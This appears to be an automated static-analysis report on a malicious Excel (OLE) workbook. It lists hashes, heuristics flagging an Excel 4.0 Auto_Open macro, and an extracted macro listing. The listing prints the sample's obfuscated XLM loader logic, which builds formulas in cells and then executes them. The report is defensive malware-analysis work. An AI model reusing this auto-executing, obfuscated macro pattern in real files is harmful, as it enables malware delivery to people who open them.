Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d8c64aecfd815c3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:34:06 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 75fd46618a7011506094a41ce7035810 SHA-1: 490ff7ec80338bc2b16d84e438c51b4472e660ae SHA-256: 5d8c64aecfd815c37ede3b9ba6c771192ad9a50fd8301c2e42651c669b9b8579
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6427 bytes
SHA-256: 16ea3e87d0f43be1a65586ea34f1fa398c2823632fb1723d48e64552d4500396
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wtn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F131 
' 0018     25 LABEL : Cell Value, String Constant - CmrvZrVNFr len=0 
' 0018     26 LABEL : Cell Value, String Constant - dLToYovglYq len=0 
' 0018     26 LABEL : Cell Value, String Constant - EpRUzoSdtht len=0 
' 0018     22 LABEL : Cell Value, String Constant - eWcyTDi len=0 
' 0018     24 LABEL : Cell Value, String Constant - FyxYBbroO len=0 
' 0018     22 LABEL : Cell Value, String Constant - HjnNJKO len=0 
' 0018     27 LABEL : Cell Value, String Constant - HPtVtMRThlJh len=0 
' 0018     22 LABEL : Cell Value, String Constant - iMYSixR len=0 
' 0018     25 LABEL : Cell Value, String Constant - KQmiBEodXA len=0 
' 0018     20 LABEL : Cell Value, String Constant - krsQI len=0 
' 0018     25 LABEL : Cell Value, String Constant - LhUFYfLyhA len=0 
' 0018     26 LABEL : Cell Value, String Constant - mZjDHWpbchJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - NkdaGVBE len=0 
' 0018     27 LABEL : Cell Value, String Constant - pbgxPTrhgmvl len=0 
' 0018     20 LABEL : Cell Value, String Constant - RhdeE len=0 
' 0018     23 LABEL : Cell Value, String Constant - SWYAoCCE len=0 
' 0018     21 LABEL : Cell Value, String Constant - tWRfkf len=0 
' 0018     21 LABEL : Cell Value, String Constant - ufzQpc len=0 
' 0018     24 LABEL : Cell Value, String Constant - yTbSQoCWn len=0 
' 0018     22 LABEL : Cell Value, String Constant - zmCWcrT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wtn,F42,"SET.NAME("mZjDHWpbchJ",VALUE("0"))",""
'  wtn,F45,"SET.NAME("HjnNJKO",mZjDHWpbchJ)",""
'  wtn,F50,"SET.NAME("RhdeE",mZjDHWpbchJ)",""
'  wtn,F55,"SET.NAME("LhUFYfLyhA",COUNTA(HPtVtMRThlJh))",""
'  wtn,F58,"SET.NAME("tWRfkf",COUNTA(yTbSQoCWn))",""
'  wtn,F63,[],""
'  wtn,F68,"SET.NAME("ufzQpc","")",""
'  wtn,F71,"HjnNJKO",""
'  wtn,F75,"SET.NAME("krsQI",HLOOKUP("*",HPtVtMRThlJh,HjnNJKO,FALSE))",""
'  wtn,F77,"KQmiBEodXA",""
'  wtn,F79,"SET.NAME("SWYAoCCE",mZjDHWpbchJ)",""
'  wtn,F82,[],""
'  wtn,F84,"SWYAoCCE",""
'  wtn,F88,"EpRUzoSdtht",""
'  wtn,F93,"CmrvZrVNFr",""
'  wtn,F98,"zmCWcrT",""
'  wtn,F102,"SET.NAME("pbgxPTrhgmvl",VALUE(HLOOKUP("*",yTbSQoCWn,zmCWcrT,FALSE)))",""
'  wtn,F104,"FyxYBbroO",""
'  wtn,F107,"ufzQpc",""
'  wtn,F109,"RhdeE",""
'  wtn,F112,NEXT(),""
'  wtn,F114,"iMYSixR",""
'  wtn,F116,"SET.NAME("f",INT(T(FORMULA(T(ufzQpc)&"",""&T(iMYSixR)))))",""
'  wtn,F118,"eWcyTDi",""
'  wtn,F122,NEXT(),""
'  wtn,F127,RETURN(),""
'  wtn,F160,"SET.NAME("dLToYovglYq",F42)",""
'  wtn,F164,"HPtVtMRThlJh",""
'  wtn,F166,"SET.NAME("yTbSQoCWn",R74C13)",""
'  wtn,F168,"SET.NAME("eWcyTDi",177)",""
'  wtn,F171,"SET.NAME("NkdaGVBE",6)",""
'  wtn,F176,dLToYovglYq(),""
'  wtn,F177,HALT(),""

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